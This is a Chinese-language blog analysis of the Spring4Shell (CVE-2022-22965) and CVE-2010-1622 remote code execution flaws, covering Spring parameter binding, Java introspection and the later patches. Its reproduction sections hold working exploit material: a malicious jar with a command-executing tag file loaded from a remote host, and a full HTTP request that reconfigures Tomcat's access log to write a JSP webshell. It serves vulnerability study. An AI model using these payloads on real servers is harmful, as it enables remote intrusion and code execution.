Spring4Shell 漏洞分析
Spring4Shell 漏洞分析
简介
Spring4Shell 漏洞实际上是对先前漏洞 CVE-2010-1622 的补丁绕过,CVE-2010-1622,原理就是基于上面的 JavaBean 赋值规则。可以通过提交 class.classLoader 参数,最终执行 getClassLoader 函数获取 ClassLoader 对象,进而利用 URLs[0] 属性远程加载可执行的恶意 jar 包,导致 RCE。而 Spring4Shell 是由于在 jdk9 以后在 java.lang.Class 类中新增了一个私有变量 module,可以利用 module 获得 ClassLoader 从而实现了一些意想不到的效果。
前置知识
SpringMVC 参数绑定
我们先来看对于一个 http 请求,spring 的 contoller 是如何进行参数的封装的,其实就是会根据属性名,调用对应的 getter 和 setter 方法。
例如一个简单的 get 请求参数 name=lingx5&age=18
他就会先去调用 getName() 方法, 碰到 = 号,再调用 setName() 方法。后面的 age 也是一样的
我们可以写一个测试的例子,来具体的看一个是如何执行的
目录结构
创建一个 springboot 项目,添加如下目录结构

User 类
其实就是一个 SpringBean
再 SpringBoot 项目中,entry 目录一般就是存放数据库表所对应用的 Bean 对象的
package com.lingx5.spring4shell.entry;
public class User {
// 内部类用于模仿一个Bean中有另一个bean的情况
class Test{
private int id;
public int getId() {
System.out.println("调用了Test.getId方法");
return id;
}
public void setId(int id) {
System.out.println("调用了Test.setId方法");
this.id = id;
}
@Override
public String toString() {
return "Test{" +
"id=" + id +
'}';
}
}
// 定义bean的属性
private String name;
private int age;
private Test test;
// 生成getter和setter方法
public String getName() {
System.out.println("调用了getName方法");
return name;
}
public void setName(String name) {
System.out.println("调用了setName方法");
this.name = name;
}
public int getAge() {
System.out.println("调用了getAge方法");
return age;
}
public void setAge(int age) {
System.out.println("调用了setAge方法");
this.age = age;
}
public Test getTest() {
System.out.println("调用了getTest方法");
return new Test();
}
public void setTest(Test test) {
System.out.println("调用了setTest方法");
this.test = test;
}
}
UserController 类
package com.lingx5.spring4shell.controller;
import com.lingx5.spring4shell.entry.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserContorller {
@RequestMapping("/adduser")
@ResponseBody
public String addUser(User user) {
return "success";
}
}
传参为 User 这个对象,我们启动 springboot 项目,发送请求 http://localhost:8080/adduser?name=lingx5&test.id=1
可以发现控制台输出
其内部就是有 springMVC 的组件 WebDataBinder 调用 BeanWrapperImpl.BeanPropertyHandler#getValue 和 BeanWrapperImpl.BeanPropertyHandler#setValue 内部本质是反射来实现的

可以看一下调用 getter 的调用栈,其他的都是一样的,可以自己调一下
getName:31, User (com.lingx5.spring4shell.entry)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
getValue:308, BeanWrapperImpl$BeanPropertyHandler (org.springframework.beans)
processLocalProperty:446, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
setter 的调用栈
setName:36, User (com.lingx5.spring4shell.entry)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
setValue:332, BeanWrapperImpl$BeanPropertyHandler (org.springframework.beans)
processLocalProperty:463, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
值得注意的是:
如果变量为数组类型,即使没有提供对应的 setter 方法,也是可以修改值得,假设有一个
private String[] name;这样一个变量,我们此时访问/user?name[0]=lingx5会把 name [0] 的值修改为 lingx5 ,这其实就是得益于 java 的内省机制,我们后边会讲到。在 org.springframework.beans.BeanWrapperImpl#setPropertyValue 方法中 调用了 Array.set() 方法,给数组赋值
Class 类
在 Java 运行时会有两种对象:Class 对象和实例对象。
Class 对象就是有 JVM 抽象的对象信息:比如有一个类 User 编译后对应一个 User.class 文件,这个 class 只会被 JVM 加载一次,JVM 会把它的描述信息抽象成一个对象(java.lang.Class)。正是这个类提供了 java 的反射机制,来操作源类
实例对象:User u = new User(); 这个 u 就是一个实例对象,可以正常的进行对象方法的调用等操作
同样的可以简单写一个测试,比较一下
package com.lingx5.spring4shell.entry;
public class test {
public static void main(String[] args) throws Exception {
// User实例对象
User u = new User();
System.out.println(u);
// Class对象
Class clazz1 = User.class;
Class clazz2 = u.getClass();
Class clazz3 = Class.forName("com.lingx5.spring4shell.entry.User");
// 输出结果相同,因为Class对象是由JVM在加载类时创建的,所以同一个类只会有一个Class对象
System.out.println(clazz1);
System.out.println(clazz2);
System.out.println(clazz3);
// 同时,Class对象也是一个类,所以也有自己的Class对象
Class<? extends Class> clazz4 = clazz1.getClass();
System.out.println(clazz4);
}
}
结果

javaBean
其实 javaBean 格式的相关内容,我们再 fastjson 中已经讲到过了,这里主要就是了解一下在 javaBean 中的内省机制(Introspector)
Introspector(内省)是 Java 语言中的一种通过反射机制分析类的属性、方法和事件的技术。其实就是允许 javaBean 分析自己的 getter 和 setter 方法查看自己的属性
jdk 中的内省类主要有
- Introspector 类 : 用
getBeanInfo()方法获取 JavaBean 的描述信息,封装了分析一个 bean 的全部逻辑 - BeanInfo 接口 :
getPropertyDescriptors()获得所有属性的描述符数组。 - PropertyDescriptor 类 : 封装了一个 Bean 属性的名字、类型、getter、setter 方法等 , 可以调用对应方法,获得 bean 的相关属性和方法
我们看一个具体的示例
package com.lingx5.spring4shell.entry;
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class IntrospectorTest {
public static void main(String[] args) throws Exception {
// 利用Introspector获取User类的BeanInfo信息
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
// 获取所有的属性描述符,并遍历输出属性名、getter和setter方法
for (PropertyDescriptor pd : beanInfo.getPropertyDescriptors()) {
System.out.println(pd.getName()+"属性的getter和setter方法:");
System.out.println(pd.getReadMethod());
System.out.println(pd.getWriteMethod());
System.out.println("--------------------------------------");
}
}
}
输出的结果
age属性的getter和setter方法:
public int com.lingx5.spring4shell.entry.User.getAge()
public void com.lingx5.spring4shell.entry.User.setAge(int)
--------------------------------------
class属性的getter和setter方法:
public final native java.lang.Class java.lang.Object.getClass()
null
--------------------------------------
name属性的getter和setter方法:
public java.lang.String com.lingx5.spring4shell.entry.User.getName()
public void com.lingx5.spring4shell.entry.User.setName(java.lang.String)
--------------------------------------
test属性的getter和setter方法:
public com.lingx5.spring4shell.entry.User$Test com.lingx5.spring4shell.entry.User.getTest()
public void com.lingx5.spring4shell.entry.User.setTest(com.lingx5.spring4shell.entry.User$Test)
--------------------------------------
可以看到 User 这个 javaBean 的属性和对应的 getter、setter 方法
这里有一个 class 属性,并且有读方法,这是由于所有类都是 Object 的子类,Object 又拥有 getClass()方法,Java 内省机制认为,只要有 get/set 方法中的其中一个,那么就可以找到 class 属性
class 属性的 getter 和 setter 方法:
public final native java.lang.Class java.lang.Object.getClass()
null
SpringBean
springbean 是 spring 框架运行时所管理的对象,可以说只要被 Spring 容器管理,任何类型的 Java 对象都可以是 Spring Bean,但是 springbean 不像 javaBean 一样有严格的限制,满足一下即可
- 尽量为每个 Bean 实现类提供无参的构造器
- 接受构造注入的 Bean,应该提供对应的构造方法
- 接受值注入的 Bean,应该提供对应的 setter 方法,并不强制要求提供对应的 getter 方法
当然 SpringBean 也有对应的内省机制(BeanWrapperImpl),实际上在 SpringMVC 参数绑定 也是依靠内省机制实现的
BeanWrapperImpl 内省
BeanWrapperImpl 他相当于是 java.beans.Introspector 内省 的增强,底层使用了 Introspector 机制,但还额外支持了 Spring 类型转换机制、嵌套属性、复杂路径表达式(比如 person.address.city),并且能更好地处理集合/数组等特殊类型。
示例
package com.lingx5.spring4shell.entry;
import org.springframework.beans.BeanWrapperImpl;
import java.beans.PropertyDescriptor;
public class BeanWrapperTest {
public static void main(String[] args) {
BeanWrapperImpl beanWrapper = new BeanWrapperImpl(new User());
for (PropertyDescriptor pd : beanWrapper.getPropertyDescriptors()) {
System.out.println(pd.getName()+"属性的getter和setter方法:");
System.out.println(pd.getReadMethod());
System.out.println(pd.getWriteMethod());
System.out.println("------------------------------");
}
//调用写方法,修改属性值
beanWrapper.setPropertyValue("name","lingx5");
beanWrapper.setPropertyValue("age",20);
System.out.println(beanWrapper.getPropertyValue("name")+" : "+beanWrapper.getPropertyValue(
"age"));
}
}
输出结果
age属性的getter和setter方法:
public int com.lingx5.spring4shell.entry.User.getAge()
public void com.lingx5.spring4shell.entry.User.setAge(int)
------------------------------
class属性的getter和setter方法:
public final native java.lang.Class java.lang.Object.getClass()
null
------------------------------
name属性的getter和setter方法:
public java.lang.String com.lingx5.spring4shell.entry.User.getName()
public void com.lingx5.spring4shell.entry.User.setName(java.lang.String)
------------------------------
test属性的getter和setter方法:
public com.lingx5.spring4shell.entry.User$Test com.lingx5.spring4shell.entry.User.getTest()
public void com.lingx5.spring4shell.entry.User.setTest(com.lingx5.spring4shell.entry.User$Test)
------------------------------
调用了setName方法
调用了setAge方法
调用了getName方法
调用了getAge方法
lingx5 : 20
BeanWrapperImpl 可以直接调用封装好的 setPropertyValue 和 getPropertyValue 来方便的对 springbean 的属性进行操作
而对于 person.address.city 这样多级嵌套的支持,主要是在 org.springframework.beans.BeanWrapperImpl#getBeanWrapperForPropertyPath 实现的

CVE-2010-1622
我们先来看之前爆出的这个漏洞,这个最早披露的该类型的漏洞,因为在 SpringBean 里有 class 属性可以利用内省覆盖对应对的 ClassLoader,可以修改 Tomcat WebappClassLoader 中的 repositoryURLs 让应用程序加载自定义 jar,从而实现命令执行
影响早期版本的 spring 框架
-
Spring Framework
- >= 2.5.0, <= 2.5.6
- >= 3.0.0, <= 3.0.2
-
Tomcat
- < 6.0.28
环境搭建:用的师傅的 github 项目,https://github.com/l3yx/vuln-debug/spring-framework/CVE-2010-1622
这个公开的 payload 为
http://localhost:8080/user?class.classLoader.URLs[0]=jar:http://127.0.0.1:8081/springExp.jar!/
jstl
全称是 JavaServer Pages Standard Tag Library,即 Java 服务器页面标准标签库。他是一组自定义的标签库,当然也可以自定义。这就是我们攻击成功的主要原因,Spring 在渲染 jsp 页面时,会去加载标签库,因为我们在 jar 包中自定义了恶意的标签,在加载解析时触发命令执行
攻击大致流程
- 用 class.classLoader 获得 ClassLoader 类加载器,而在 tomcat 中类加器一般为 org.apache.catalina.loader.WebappClassLoader 它继承了 URLClassLoader 有一个 getURLs() 方法返回 URLs 的数组
- springbean 的内省机制,对于数组不需要 setter 方法也可以修改值,内部是 Array.set() 实现的
- tomcat 的 org.apache.jasper.compiler.TldLocationsCache 会从 WebappClassLoader 里面读取 urls 参数并解析恶意的 TLD 文件,实现 RCE
springExp.jar
TldLocationsCache 的主要就是扫描 JAR 包、/WEB-INF/、/META-INF/ 路径,找到可用的 TLD 文件。
Tomcat 会自动扫描 /WEB-INF/lib 中所有 JAR 的 /META-INF/.tld 文件以及 Web 应用程序的 /META-INF/.tld 文件,以查找自定义标签库描述符。
主要代码
// 初始化
private void init() throws JasperException {
if (!this.initialized) {
try {
// 处理 web.xml 配置文件
this.processWebDotXml();
// 扫描应用依赖的 JAR 包,寻找里面的 TLD文件
this.scanJars();
// 扫描和处理 /WEB-INF/ 目录下的 TLD 文件
this.processTldsInFileSystem("/WEB-INF/");
this.initialized = true;
} catch (Exception ex) {
throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", ex.getMessage()));
}
}
}
// 调用了 scanJars()
private void scanJars() throws Exception {
// 从线程获取webappClassLoader
ClassLoader webappLoader = Thread.currentThread().getContextClassLoader();
for(ClassLoader loader = webappLoader; loader != null; loader = loader.getParent()) {
if (loader instanceof URLClassLoader) {
// 拿到URL[]数组
URL[] urls = ((URLClassLoader)loader).getURLs();
for(int i = 0; i < urls.length; ++i) {
URLConnection conn = urls[i].openConnection();
if (conn instanceof JarURLConnection) {
if (this.needScanJar(loader, webappLoader, ((JarURLConnection)conn).getJarFile().getName())) {
// 调用scanJar 加载 tld 文件
this.scanJar((JarURLConnection)conn, true);
}
} else {
String urlStr = urls[i].toString();
if (urlStr.startsWith("file:") && urlStr.endsWith(".jar") && this.needScanJar(loader, webappLoader, urlStr)) {
URL jarURL = new URL("jar:" + urlStr + "!/");
this.scanJar((JarURLConnection)jarURL.openConnection(), true);
}
}
}
}
}
}
所以我们的 springExp.jar 中肯定就是在 META-INF 目录下自定义 TLD 文件
目录结构
springform.tld
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" version="2.0">
<description>Spring Framework JSP Form Tag Library</description>
<tlib-version>3.0</tlib-version>
<short-name>form</short-name>
<uri>http://www.springframework.org/tags/form</uri>
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
</taglib>
InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("calc");
%>
可以看到我们自定义的 springform.tld 文件,覆盖了 springMVC 自己的 input 和 form 标签,改为了 /META-INF/tags/InputTag.tag 恶意的标签,当 jsp 渲染的时候会执行恶心代码
Exploit
我们发送开启 http 服务,发送 payload
http://localhost:8080/demo/test?class.classLoader.URLs[0]=jar:http://lingx5.dns.army:8000/springExp.jar!/
看到在 org.apache.jasper.compiler.TldLocationsCache#scanJars 中获得的 URLs [] 数组的第 0 个元素被我们改成了恶意的 jar 包地址

成功弹出计算器

调用栈
赋值 urls []

调用栈
setPropertyValue:1146, BeanWrapperImpl (org.springframework.beans)
setPropertyValue:857, BeanWrapperImpl (org.springframework.beans)
setPropertyValues:76, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:665, DataBinder (org.springframework.validation)
doBind:561, DataBinder (org.springframework.validation)
doBind:190, WebDataBinder (org.springframework.web.bind)
bind:110, ServletRequestDataBinder (org.springframework.web.bind)
解析 URLs []

调用栈
scanJars:504, TldLocationsCache (org.apache.jasper.compiler)
init:244, TldLocationsCache (org.apache.jasper.compiler)
getLocation:219, TldLocationsCache (org.apache.jasper.compiler)
getTldLocation:530, JspCompilationContext (org.apache.jasper)
parseTaglibDirective:419, Parser (org.apache.jasper.compiler)
parseDirective:476, Parser (org.apache.jasper.compiler)
parseElements:1426, Parser (org.apache.jasper.compiler)
parse:133, Parser (org.apache.jasper.compiler)
doParse:215, ParserController (org.apache.jasper.compiler)
parse:102, ParserController (org.apache.jasper.compiler)
generateJava:167, Compiler (org.apache.jasper.compiler)
compile:306, Compiler (org.apache.jasper.compiler)
compile:286, Compiler (org.apache.jasper.compiler)
compile:273, Compiler (org.apache.jasper.compiler)
compile:566, JspCompilationContext (org.apache.jasper)
service:308, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:320, JspServlet (org.apache.jasper.servlet)
service:266, JspServlet (org.apache.jasper.servlet)
service:803, HttpServlet (javax.servlet.http)
internalDoFilter:290, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
漏洞修复
官方在 springbean 的加载时的 CachedIntrospectionResults 加入了对 class.classLoader 的判断
Comparing v3.0.2.RELEASE..v3.0.3.RELEASE · spring-projects/spring-framework

同时 tomcat 也对这个漏洞做了修复
Tomcat 6.0.28 版本后把 getURLs 方法返回的值改成了 clone 的,也就是说我们即使能绕过 springFramework 的修复,也无法再利用 webappClassLoader 获得并设置 URLs [] 数组,实现远程 jar 包加载的 RCE 了
CVE-2022-22965(Spring4Shell)
利用条件:
- JDK 版本:JDK 9 及以上版本
- 受影响组件:直接或者间接地使 ⽤ 了 Spring-beans 包(Spring boot 等框架都使用了)
- 受影响的版本:Spring Framework < 5.3.18 ,Spring Framework < 5.2.20 及衍生版本
- 部署方式:使用 war 包部署于 tomcat(非 spring 的可执行的 jar 文件)
这其实就是对 CVE-2010-1622 的绕过。
原因:
- jdk9 以后给 Class 加入了 module 属性,我们可以利用 module 获得 ClassLoader, 也就是可以利用
class.module.classLoader获得
环境搭建
正常创建一个 springboot2.6.3 的项目, 创建时选择 war 包方式,再配置一下 tomcat 服务器启动即可
我这里用的 springboot2.6.3 ,jdk11 ,tomcat 8.5.27
创建项目
修改一下 pom.xml 文件
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<properties>
<java.version>11</java.version>
<!--把spring-beans修改为有漏洞的版本-->
<spring-beans.version>5.3.17</spring-beans.version>
</properties>
同时更改 idea 项目结构中的 jdk
然后把 User 和 UserController 加入进来
User
package com.lingx5.spring;
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
UserController
package com.lingx5.spring;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserContorller {
@RequestMapping("/adduser")
@ResponseBody
public String addUser(User user) {
return "success";
}
}
最终的项目结构

打包一下
mvn package
把 taget 里的 war 包复制到 tomcat 的 webapps 目录下,启动 tomcat 就好了
漏洞分析
我们可以创建一个 controller,看一下 Class.Module.ClassLoader 有哪些属性
package com.lingx5.spring4shell.controller;
import com.lingx5.spring4shell.entry.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
@Controller
public class ProperController {
@RequestMapping("/testclass")
public void classTest(){
HashSet<Object> set = new HashSet<Object>();
String poc = "class.moduls.classLoader";
User action = new User();
processClass(action.getClass().getClassLoader(),set,poc);
}
public void processClass(Object instance, java.util.HashSet set, String poc){
try {
Class<?> c = instance.getClass();
set.add(instance);
Method[] allMethods = c.getMethods();
for (Method m : allMethods) {
if (!m.getName().startsWith("set")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=1) continue;
if(pType[0].getName().equals("java.lang.String")||
pType[0].getName().equals("boolean")||
pType[0].getName().equals("int")){
String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
System.out.println(poc+"."+fieldName);
}
}
for (Method m : allMethods) {
if (!m.getName().startsWith("get")) {
continue;
}
if (!m.toGenericString().startsWith("public")) {
continue;
}
Class<?>[] pType = m.getParameterTypes();
if(pType.length!=0) continue;
if(m.getReturnType() == Void.TYPE) continue;
m.setAccessible(true);
Object o = m.invoke(instance);
if(o!=null)
{
if(set.contains(o)) continue;
processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
}
}
} catch (IllegalAccessException | InvocationTargetException x) {
x.printStackTrace();
}
}
}
启动项目访问 /testclass

发现有 AccessValve 的一些属性
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
AccessLogValve
AccessLogValve 是 Tomcat 中用来记录访问日志的一个“阀门”(Valve)组件。它的主要作用是将 HTTP 请求相关信息(比如客户端 IP、访问时间、请求方法、响应码等)写入到日志文件,这些日志常用于访问统计、性能分析、安全审计等场景。
在 servlet.xml 中常见的配置如下:
<Host name="localhost" appBase="webapps" ...>
<Valve className="org.apache.catalina.valves.AccessLogValve"
directory="logs"
prefix="localhost_access_log"
suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
- directory:access_log 文件输出目录。
- prefix:access_log 文件名前缀。
- pattern:access_log 文件内容格式。
- suffix:access_log 文件名后缀。
而我们可以利用 class.module.classloader 设置日志的路径、名称、后缀和内容,这不就相当于是可以写木马了
可以做如下修改
// 指定存放路径为 webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
// 指定文件名前缀为shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
// 指定文件名后缀为.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
// 指定文件内容为 jsp 一句话木马
class.module.classLoader.resources.context.parent.pipeline.first.pattern="jsp一句话木马"
// 指定文件名中间内容为空
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
漏洞复现
POST /spring/adduser HTTP/1.1
Host: localhost:8080
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
suffix: %>
prefix: <%
Content-Length: 460
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}iRuntime.getRuntime().exec("calc")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
注意最后不要有空行

后访问 /shell.jsp

这个漏洞只能在 tomcat 中实现,也就是说必须要 war 包在 tomcat 容器里部署,如果是 springboot 启动的话就不行了。
这主要是因为 ClassLoader 不一样,tomcat中获得的是org.apache.catalina.loader.ParallelWebappClassLoader
而在springboot中是org.springframework.boot.loader.LaunchedURLClassLoader,它并没有resources成员变量,也没有利用链
POC 说明
%{prefix}i 的形式是官方规定的 AccessLogValve 可以从请求体中获取信息的表达式。官方文档说明如下 https://tomcat.apache.org/tomcat-8.5-doc/api/org/apache/catalina/valves/AbstractAccessLogValve.html

漏洞修复
spring 5.3.18
同样是在 CachedIntrospectionResults 做了更加严格的限制
Comparing v5.3.17...v5.3.18 · spring-projects/spring-framework
可以看到当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。

tomcat 9.0.62
getResources()方法的返回值做了修改,直接返回null。获取不到 Resources 自然也无法修改 AccessLogValve 的输出路径。
参考文章
从零开始,分析 Spring Framework RCE - 跳跳糖
Spring4Shell: The zero-day RCE in the Spring Framework explained | Snyk
【最新漏洞预警】CVE-2022-22965 Spring 核心框架 Spring4Shell 远程命令执行漏洞原理与修复方式分析
Spring Framework 代码执行(CVE-2010-1622) | l3yx's blog


浙公网安备 33010602011771号